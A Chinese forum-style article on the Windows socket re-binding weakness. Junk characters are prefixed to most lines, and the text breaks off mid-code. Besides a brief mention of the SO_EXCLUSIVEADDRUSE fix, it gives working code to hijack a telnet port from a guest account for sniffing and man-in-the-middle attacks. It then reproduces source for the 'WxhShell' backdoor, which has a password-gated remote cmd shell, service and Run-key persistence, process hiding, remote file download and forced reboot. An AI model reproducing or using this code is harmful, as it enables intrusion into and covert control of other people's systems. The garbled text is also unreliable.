在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
>Qc0g(w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MpM-xz~ "A^9WhUpJ saddr.sin_family = AF_INET;
Tn[DF9;? qFmvc saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A'qJke= bL+Hw6; bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
4E:HO\ 6
$%^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
F#@Mf?#2
3|%Q{U 这意味着什么?意味着可以进行如下的攻击:
F ]\4< _s!(9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@*L^Jgn .O'S@ %] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)cB00*/ E/:<9xl 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?gjM]Ki%: _ Onsfv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
>t u3m2 J'y*;@4l^: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+o)S.a+7 n.,\Z(l|0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Y_S^B)y z>NRvx0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
b&p*IyJR .hlr)gF&) #include
VB*$lxX #include
zl46E~"]x #include
BOn2`|oLuF #include
[#n~ L6 DWORD WINAPI ClientThread(LPVOID lpParam);
~.mnxn int main()
5)o-$1s A {
qev1bBW WORD wVersionRequested;
ofl3G
{u DWORD ret;
{hK$6bD3^ WSADATA wsaData;
K9}ppgL'$ BOOL val;
pox\Gu~.0 SOCKADDR_IN saddr;
T30!'F(*, SOCKADDR_IN scaddr;
URmx8=q int err;
gKcP\m SOCKET s;
X!,P] G SOCKET sc;
0U ?1Yh7
m int caddsize;
0)-l9V HANDLE mt;
Zse3e DWORD tid;
aDR<5_Yb wVersionRequested = MAKEWORD( 2, 2 );
k&ujr:)5Y5 err = WSAStartup( wVersionRequested, &wsaData );
"m ):" if ( err != 0 ) {
c[?S}u|[' printf("error!WSAStartup failed!\n");
nK1XJp return -1;
p0? XR }
=&xamA) saddr.sin_family = AF_INET;
c*K-?n9YMz -ZH]i}$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3zY"9KUN ?s #DD, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
md_aD saddr.sin_port = htons(23);
VR2BdfKU, if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i 4lR$]@ {
WZdA<<,:o printf("error!socket failed!\n");
wqyx{W`~w return -1;
,g@U*06 }
,*a8]L val = TRUE;
qS>P,>C //SO_REUSEADDR选项就是可以实现端口重绑定的
>Be PE(k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<^|8\<J {
3>yb$ZU"- printf("error!setsockopt failed!\n");
)-#% return -1;
Yn[y9;I{ }
%JBp~" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{_|~G|Z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}k7@
X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
soA>&b!? %#2[3N{ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
J:)Q)MT24: {
x "]%q^x ret=GetLastError();
6cVaO@/( printf("error!bind failed!\n");
e(x1w&8dB return -1;
c^}gJ }
yAG4W[ listen(s,2);
:)t1>y>3 while(1)
DY^q_+[V {
? QwDV` caddsize = sizeof(scaddr);
Fl]$ql
//接受连接请求
8fTuae$^ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Yq4_ss'nB if(sc!=INVALID_SOCKET)
.<^dv?@ {
l~AmHw
e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,*?bET
$ if(mt==NULL)
7&/iuP$. {
7=u\D printf("Thread Creat Failed!\n");
LR]P? break;
=et=X_3- }
]zmY]5 }
z(iB$;M CloseHandle(mt);
\evK.i*KfA }
nORm7sa9 closesocket(s);
@G^]kDFM{ WSACleanup();
r75,mX return 0;
\A*#a9" }
c_x6FoE;L DWORD WINAPI ClientThread(LPVOID lpParam)
F'*y2FC {
;gTdiwfgZ= SOCKET ss = (SOCKET)lpParam;
<tMiI)0% SOCKET sc;
sKB])mf] unsigned char buf[4096];
zPWG^ SOCKADDR_IN saddr;
>1T=Aw2Z. long num;
C]K@SN$ DWORD val;
iE':ur<` DWORD ret;
)}9Ef"v| //如果是隐藏端口应用的话,可以在此处加一些判断
^,
q\S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i|*(vH&D. saddr.sin_family = AF_INET;
XWo:~\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%L:e~* saddr.sin_port = htons(23);
NwIl~FNK if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`]_#_ {
VT?JTW printf("error!socket failed!\n");
,m{Zn"?kS return -1;
]L^X}[SH }
R#1h.8 val = 100;
~ULuX"n if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z<;<!+, {
fMlxtj+5
ret = GetLastError();
rg"W1m[k return -1;
SWY?0Pu }
QB'-`GwL if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:-xp'_\L {
HY~\e|o ret = GetLastError();
dMCV
!$ return -1;
b|u4h9 }
I{;s.2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q62TYg} {
F/tBr%RV printf("error!socket connect failed!\n");
4gG&u33RrE closesocket(sc);
GQ[:vX` closesocket(ss);
v2gK(&? return -1;
e!d&
#ofw| }
,6~c0]/ while(1)
"uDLty?*k {
vo-n9Bj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'=G 4R{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
)3=oS1p //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wWko9h=|mQ num = recv(ss,buf,4096,0);
3cBuqQ if(num>0)
AH;0=<n send(sc,buf,num,0);
-8HIsRh else if(num==0)
l"*qj#FD break;
;VSHXU'H num = recv(sc,buf,4096,0);
QY8I_VF if(num>0)
k]u0US9/ send(ss,buf,num,0);
Q[;!z1ur else if(num==0)
*P 5Xy@: break;
%E3|b6k\ }
@C0{m7q closesocket(ss);
) 2wof( closesocket(sc);
I?c# T Rm return 0 ;
6 KP }
282
m^
2 |fYNkD8z1 8b8ui ==========================================================
K
I bqJL@!T 下边附上一个代码,,WXhSHELL
y-cRqIM ^DS9D:oE ==========================================================
h$)!eSu +M$2:[xRT #include "stdafx.h"
TW(rK& i*:lZ eU61 #include <stdio.h>
v}Gq.(b #include <string.h>
j/TsHJ= #include <windows.h>
>k<.bEx(A #include <winsock2.h>
?5K.#>{ #include <winsvc.h>
FTI[YR8?Y #include <urlmon.h>
rV<yM$IA 2P`hdg
#pragma comment (lib, "Ws2_32.lib")
bU/5ug. #pragma comment (lib, "urlmon.lib")
^2mmgN /0s1q #define MAX_USER 100 // 最大客户端连接数
"[L[*>[9! #define BUF_SOCK 200 // sock buffer
~e@QJ=r #define KEY_BUFF 255 // 输入 buffer
J!3 X}@_N B'"C?d<7 #define REBOOT 0 // 重启
T;w%-k\<r #define SHUTDOWN 1 // 关机
RWP`#(&/& k?0yH$)'t #define DEF_PORT 5000 // 监听端口
;hA>?o_i( yw41/jHF #define REG_LEN 16 // 注册表键长度
R9f*&lj #define SVC_LEN 80 // NT服务名长度
- U!:. K%P$#a // 从dll定义API
TFb9gOTJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
51;V#@CsQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X@:pys 8@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9n]zh- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
mg[=~&J^ PEW^Vl-6q // wxhshell配置信息
W&q]bi@C struct WSCFG {
-^=gQ7f9 int ws_port; // 监听端口
~b+4rYNxU_ char ws_passstr[REG_LEN]; // 口令
}o0R`15dA int ws_autoins; // 安装标记, 1=yes 0=no
i64a]= char ws_regname[REG_LEN]; // 注册表键名
"1$OPt5 char ws_svcname[REG_LEN]; // 服务名
{(U?)4@ char ws_svcdisp[SVC_LEN]; // 服务显示名
8`Q8Mct$< char ws_svcdesc[SVC_LEN]; // 服务描述信息
a)^f`s^aa char ws_passmsg[SVC_LEN]; // 密码输入提示信息
}i!hzkK# int ws_downexe; // 下载执行标记, 1=yes 0=no
F&<si:}KB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/B.\ 6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
wqx@/--E( 8G;
t[9 };
?DzKqsS' A1Ia9@=Mf // default Wxhshell configuration
S75wtz)e struct WSCFG wscfg={DEF_PORT,
hn{]Q@(I "xuhuanlingzhe",
>0~|iRySi 1,
m{9m.~d "Wxhshell",
\< <u "Wxhshell",
1q0DOf]!T "WxhShell Service",
d@#!,P5` "Wrsky Windows CmdShell Service",
bccJVwXv "Please Input Your Password: ",
\-a^8{.^E 1,
xPWzm
hF "
http://www.wrsky.com/wxhshell.exe",
|'9%vtbM "Wxhshell.exe"
TUHC[#Vb? };
f]L`^WU
+[:"$?J // 消息定义模块
Qz2Yw ` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Eqc&iS~ char *msg_ws_prompt="\n\r? for help\n\r#>";
TCYjj:/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X|^E+
`M4 char *msg_ws_ext="\n\rExit.";
h}k)7 char *msg_ws_end="\n\rQuit.";
Eo
5p- char *msg_ws_boot="\n\rReboot...";
f=]+\0MQ char *msg_ws_poff="\n\rShutdown...";
Pc#8~t}2 char *msg_ws_down="\n\rSave to ";
Ox7v*[x' "aIiW VQ char *msg_ws_err="\n\rErr!";
td%]l1 char *msg_ws_ok="\n\rOK!";
^\Tde*48 ,X25 -OFZ char ExeFile[MAX_PATH];
,V'+16xW int nUser = 0;
izy7.(.a HANDLE handles[MAX_USER];
Tqz{{]%j~$ int OsIsNt;
3/>T/To&2 9\ZlRYnc= SERVICE_STATUS serviceStatus;
Yf:xM>.% SERVICE_STATUS_HANDLE hServiceStatusHandle;
};6[Byf nAPSs]D // 函数声明
{R%v4#nk int Install(void);
Kmc*z (Q int Uninstall(void);
~Mbo`:>(4v int DownloadFile(char *sURL, SOCKET wsh);
NBEcx>pma int Boot(int flag);
1wP#?p)c void HideProc(void);
h}r* int GetOsVer(void);
s\y+ xa: int Wxhshell(SOCKET wsl);
Z
6KM%R void TalkWithClient(void *cs);
GjN/8>/ int CmdShell(SOCKET sock);
R_ymTB}<t( int StartFromService(void);
^
cpQ*Fz int StartWxhshell(LPSTR lpCmdLine);
s kC* 4scY8(1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
MkgeECMf VOID WINAPI NTServiceHandler( DWORD fdwControl );
(oTtnQ""+ /\34o{ // 数据结构和表定义
EvSo|}JA[ SERVICE_TABLE_ENTRY DispatchTable[] =
]Q1?Ox:' {
nI7G"f[%r; {wscfg.ws_svcname, NTServiceMain},
Sm-gi|A {NULL, NULL}
#=C!Xx& };
^kJ(bBY ^0vK > // 自我安装
z+,l"#Vv int Install(void)
q}P< Ejq} {
|YCGWJaci char svExeFile[MAX_PATH];
>]K:lJ]l HKEY key;
n6D9f~8" strcpy(svExeFile,ExeFile);
1><@$kVMm~ y|X</3w // 如果是win9x系统,修改注册表设为自启动
l)tK/1 W if(!OsIsNt) {
9eO!_a^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
UJ0fYTeuI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Afa|6zZ> RegCloseKey(key);
2L"$p? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
u`?MV2jU2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
:EJ8^'0Q RegCloseKey(key);
#^%HJp^ return 0;
h6J0b_3h4 }
:cU6W2EV }
I/4:SNha }
NwPGH=V else {
j#L"fW^GM s|B // 如果是NT以上系统,安装为系统服务
4M4Y2fBH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
DP{kin"4I if (schSCManager!=0)
K8`Jl=}z%& {
JLgk? SC_HANDLE schService = CreateService
!SRElb A;i (
)y>o;^5' schSCManager,
qQK0s*^W wscfg.ws_svcname,
=nPIGI72VO wscfg.ws_svcdisp,
!bs{/? SERVICE_ALL_ACCESS,
lh^-L+G:Ok SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
E57:ap)/ SERVICE_AUTO_START,
6r SERVICE_ERROR_NORMAL,
);EW(7KeL
svExeFile,
}]O*
yFR{j NULL,
OXu*wl(z NULL,
pT3p!/pl3 NULL,
;Z>u]uK4+ NULL,
.axJ '*~W NULL
3sr>?/>: );
`;KU^dH if (schService!=0)
CB V(H$d {
aY`qb Jy CloseServiceHandle(schService);
MI8f(ZJK5 CloseServiceHandle(schSCManager);
ZqT8G strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
qyi5j0)W strcat(svExeFile,wscfg.ws_svcname);
{2jetX`@h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@o4+MQFn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
n-ZOe]3 RegCloseKey(key);
}U <T>0 return 0;
uWm,mGd9 }
G bW1Lq&" }
F3d: W:^_ CloseServiceHandle(schSCManager);
Y2lBQp8'| }
+,oEcCi }
Iw@ou n1
k2<BU4b return 1;
K>%}m, }
Y]>!uwn 4}0DEH.Vx // 自我卸载
6<aZr\Ufg int Uninstall(void)
4#<r}j12z {
hd+(M[C<9 HKEY key;
nE"##2X ^d6}rtG if(!OsIsNt) {
YY{0WWua if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>i&"{GZ RegDeleteValue(key,wscfg.ws_regname);
{jyI7r#X RegCloseKey(key);
{WokH;a/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`Wc"Ix0 RegDeleteValue(key,wscfg.ws_regname);
ZiR },F/ RegCloseKey(key);
ai,\'%N return 0;
&8=wkG% }
JSXJlau }
8&[Lr o9 }
I^}q;L![\ else {
U&F1}P$fb 9)c{L<o}T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7Iz%Jty if (schSCManager!=0)
d7,ZpHt {
Hlh`d N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
[D;wB|+, if (schService!=0)
n8h1SlK08 {
\!-IY if(DeleteService(schService)!=0) {
kSL7WQe?j CloseServiceHandle(schService);
,=TY:U;? CloseServiceHandle(schSCManager);
V]E#N return 0;
g+(Cs }
[p& n]T CloseServiceHandle(schService);
rE->z }
@*Y"[\ "$ CloseServiceHandle(schSCManager);
7(8i~} }
:? uUh }
[N@t/^gRC tW^oa return 1;
gu1:%raXd }
WFr;z* F!k3/z // 从指定url下载文件
qS8p )pw int DownloadFile(char *sURL, SOCKET wsh)
c:*[HO\ {
[ADSGnw HRESULT hr;
9_=0:GHk char seps[]= "/";
JD\yl[ac% char *token;
o*]Tqx char *file;
y
nue;*rM char myURL[MAX_PATH];
%|"0p3 char myFILE[MAX_PATH];
EO.Se9ux B|\JGnNQ strcpy(myURL,sURL);
F.rNh`44 token=strtok(myURL,seps);
OM>,1;UH] while(token!=NULL)
7lLh4__;`6 {
A{Kc"s4fO file=token;
<w,NMu" token=strtok(NULL,seps);
dnwTD\), }
RZY[DoF8u @Sr{6g*I GetCurrentDirectory(MAX_PATH,myFILE);
E{wnhsl{ strcat(myFILE, "\\");
sn!E$ls3O strcat(myFILE, file);
54lU~ " send(wsh,myFILE,strlen(myFILE),0);
kT@m*Etr{ send(wsh,"...",3,0);
GgU8f0I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KF .O>c87& if(hr==S_OK)
xM+_rU
M|h return 0;
{/)q= else
$a@T:zfe return 1;
v3*y43 nE&`~ }
i]cD{hv 4Eri]O Ri // 系统电源模块
^
gMkQYo(# int Boot(int flag)
I>bO<T` {
qsT@aSIo9 HANDLE hToken;
$q$G TOKEN_PRIVILEGES tkp;
~cf*Oq -n:~m
p if(OsIsNt) {
icrcP ~$A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
aAbK{=/y_! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xS'Kr.S
tkp.PrivilegeCount = 1;
h&|S* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ShIJ6LZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`MLOf if(flag==REBOOT) {
]Pp}=hcD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f,} (=
u return 0;
/!i`K{ }
bo-AM] else {
&E?TR
A# E if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{}n]\zO % return 0;
3>'TYXs- }
cb3Q{.-.# }
ZLGglT'EW> else {
/g]NC? if(flag==REBOOT) {
IDY2X+C#U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3
0.&Lzz return 0;
6"L,#aKm^ }
tH)fu%:p else {
<G_71J`MLC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
zk;'`@7 return 0;
5Ic'6AIz }
@ *<`*W }
#iiXJnG M*-]<!))7 return 1;
+:_;K_h }
KXiStwS 1a]P+-@u[ // win9x进程隐藏模块
J*Q+$Ai~ void HideProc(void)
%Q080Ltet {
Q$*JkwPQ} *UZd!a) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!{+a2wi if ( hKernel != NULL )
1\X_B`xwD {
dJ9v/k_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Y6[O
s1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
m S4N%Q FreeLibrary(hKernel);
/8? u2
q }
lD#S:HX g7;OZ#\ return;
XOoz.GSQ }
\v_R]0m\ Ve ipM // 获取操作系统版本
RxA:>yOPn int GetOsVer(void)
m##_U9O {
_B?Hw[cc
OSVERSIONINFO winfo;
re xMS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
A7I{Le GetVersionEx(&winfo);
;U&~tpd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B;^1W{%J return 1;
UlMc8 z else
b:Tv
Ta return 0;
mo D)^':. }
6W/uoH=; ;w<r/dK // 客户端句柄模块
O9P4r*prA int Wxhshell(SOCKET wsl)
}F';"ybrU) {
9]^q!~u SOCKET wsh;
emMk*l, struct sockaddr_in client;
lyzM?lK- DWORD myID;
.3CQFbHF r`Bm"xI while(nUser<MAX_USER)
(-Qr.t_B` {
Rr0]~2R int nSize=sizeof(client);
O&
1z- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
w&>*4=^a if(wsh==INVALID_SOCKET) return 1;
#OwxxUeZ wD92Ava
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"#.L\p{Zy if(handles[nUser]==0)
f%/6kz closesocket(wsh);
@;X#/dZe else
d-jZ 5nl( nUser++;
E^B3MyS^^ }
)
S-Fuq4i4 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:0kKw=p1R 2Mu3]2> return 0;
T[- %b9h> }
;qs^+ >-j([% // 关闭 socket
XG!^[ZDs void CloseIt(SOCKET wsh)
.umN>/o[ {
XzB3Xs?W2 closesocket(wsh);
|F +n7 nUser--;
_LFABG= ExitThread(0);
i8!err._ }
XZ"oOE0= >?jmeD3u // 客户端请求句柄
D^S"6v"z void TalkWithClient(void *cs)
r-_-/O"l {
kvN<o-B Xb@dQRVX SOCKET wsh=(SOCKET)cs;
+bk+0k9k5 char pwd[SVC_LEN];
xD9ZL char cmd[KEY_BUFF];
7[1VFc#tf char chr[1];
QN;GMX5& int i,j;
r_MP[]f|0 +4F; m_G6 while (nUser < MAX_USER) {
_^D -nk? rX22%~1 if(wscfg.ws_passstr) {
y]g5S-G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$S^rKp# //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~i0>[S3' //ZeroMemory(pwd,KEY_BUFF);
w{riXOjS4 i=0;
k- exqM2x= while(i<SVC_LEN) {
c_ u7O
\ =N2@H5+7 // 设置超时
qE.3:bQ!` fd_set FdRead;
S`& yVzv struct timeval TimeOut;
k>=wwPy FD_ZERO(&FdRead);
>:OP+Vc FD_SET(wsh,&FdRead);
AMN`bgxW TimeOut.tv_sec=8;
P]7s1kgaS TimeOut.tv_usec=0;
ZU`HaL$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
I7C+XUQkQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,=2)1I] dKmPKeJM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
rIX 40,` pwd
=chr[0]; !Pu7%nV.
if(chr[0]==0xd || chr[0]==0xa) { \==Mgy2J8
pwd=0; r;O?`~2'4
break; M"foP@
} Mo]iVj8~
i++; _MTvNs
} knzQ)iv&&
yMOYTN@]
// 如果是非法用户,关闭 socket D>kkA|>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UMH~Q`"
} tPDB'S:&3
X^C $|:
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]j.!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w$`u_P|@E:
I.o3Old
while(1) { ltHuN;C\
n.A*(@noe
ZeroMemory(cmd,KEY_BUFF); ;1k_J~Qei
xM>dv5<E
// 自动支持客户端 telnet标准 _he~Y2zFz
j=0; xEB4oQ5
while(j<KEY_BUFF) { v%QCp
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <#~n+,
cmd[j]=chr[0]; R%JEx3)0m
if(chr[0]==0xa || chr[0]==0xd) { USXPa[
cmd[j]=0; BbI),iP
break; }dSFv
} Y5TBWcGU%
j++; (CE2]Nv9")
} .yb8<q s
s%?<:9
// 下载文件 V{{UsEVO
if(strstr(cmd,"http://")) { WX+@<y}%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t5QGXj
if(DownloadFile(cmd,wsh)) x!onan
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>'J ^^
else %Ip=3($Ku[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q8DKU
} /Wy9".
else { (; Zl
ltd'"J/r
switch(cmd[0]) { iz-O~T/^
)Y?E$=M+B
// 帮助 ;8gODj:dO
case '?': { b{W ,wn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +@PZ3
[s
break; K=2j}IPe
} }80n5X<9
// 安装 ,->
P+m5
case 'i': { &HJ~\6r\
if(Install()) Z8pZm`g)T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[!Ex=9W
else =PoPp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #elaz8 5
break; \)PS&Y8n
} Pv@;)s(-
// 卸载 *8 ]
case 'r': { U9AtC.IG!
if(Uninstall()) CjA}-ee
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w2tkJcQ3
else '`p0T%w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vaZ?>94
break; BimM)4g
} OL[_2m*;9p
// 显示 wxhshell 所在路径 @HXXhYH
case 'p': { 2K'}Vm+
char svExeFile[MAX_PATH]; ^[zF IO
strcpy(svExeFile,"\n\r"); Pq(
)2B
strcat(svExeFile,ExeFile); S[uHPYhlA
send(wsh,svExeFile,strlen(svExeFile),0); m$$98N
break; ix}*whW=U
} Q1'D*F4
// 重启 <lLk(fC
case 'b': { p|w;StLy
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +'I8COoiv%
if(Boot(REBOOT)) ~#[ ZuMO?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); to 3i!b
else { yM34G S=,J
closesocket(wsh); 1'* {VmM
ExitThread(0); Xgm9>/y
} ;:gx;'dm5
break; vGPaW YV
} )5bdWJ>l
// 关机 ,#-^
case 'd': { ZZ6F0FLXJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9$'Edi=6
if(Boot(SHUTDOWN)) =j~}];I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); or]s
else { on1mu't_;
closesocket(wsh); K#p&XIY,
ExitThread(0); |&%l @X6
} "i*Gi
\U
break; k4 %> F
} L:EJ+bNG
// 获取shell *'(dcy9
case 's': { x9CI>l
CmdShell(wsh); wwmODw<tT
closesocket(wsh); DSHpM/7
ExitThread(0); 5*>3(U
break; L9U<E $%#
} l+ <x
// 退出 ]t3
NA*mM
case 'x': { AuYi$?8|5
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I!Za2?
CloseIt(wsh); `P4qEsZE>`
break; gf2w@CVF>=
} }fs;yPl,
// 离开 )+9D$m=P;
case 'q': { Lp*T=]C]
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cj):g,[a
closesocket(wsh); o[ %Q&u
WSACleanup();
ss3fq}
exit(1); PX'I:B]x*
break; ;7<a0HZ5!
} j|(bDa4\
} ArU>./)Q
} BmUzsfD
Xc5[d`]
// 提示信息 ig/716r|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gb\7W
} |@-WC.
} o6KBJx
)Bk?"q
return; FZmYv%J
} (^Do#3
z(orA} [
// shell模块句柄 Bv@m)$9\+3
int CmdShell(SOCKET sock) y$V{yh[:
{ NI s4v(!
STARTUPINFO si; @4B2O"z`
ZeroMemory(&si,sizeof(si)); cmN0ya
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L{fP_DIa
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UmgLH Cz
PROCESS_INFORMATION ProcessInfo; gkk <-j'
char cmdline[]="cmd"; n8G#TQrAE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8h20*@wSN
return 0; -{b1&
} 6l
vx
@7^#_772
// 自身启动模式 [Iihk5TT
int StartFromService(void) 3Yj}ra}
{ |PJW2PN
typedef struct Nyqm0C6m^
{ Dfhs@ z
DWORD ExitStatus; fZ g*@RR
DWORD PebBaseAddress; $=m17GD
DWORD AffinityMask; RLHe;-*b]I
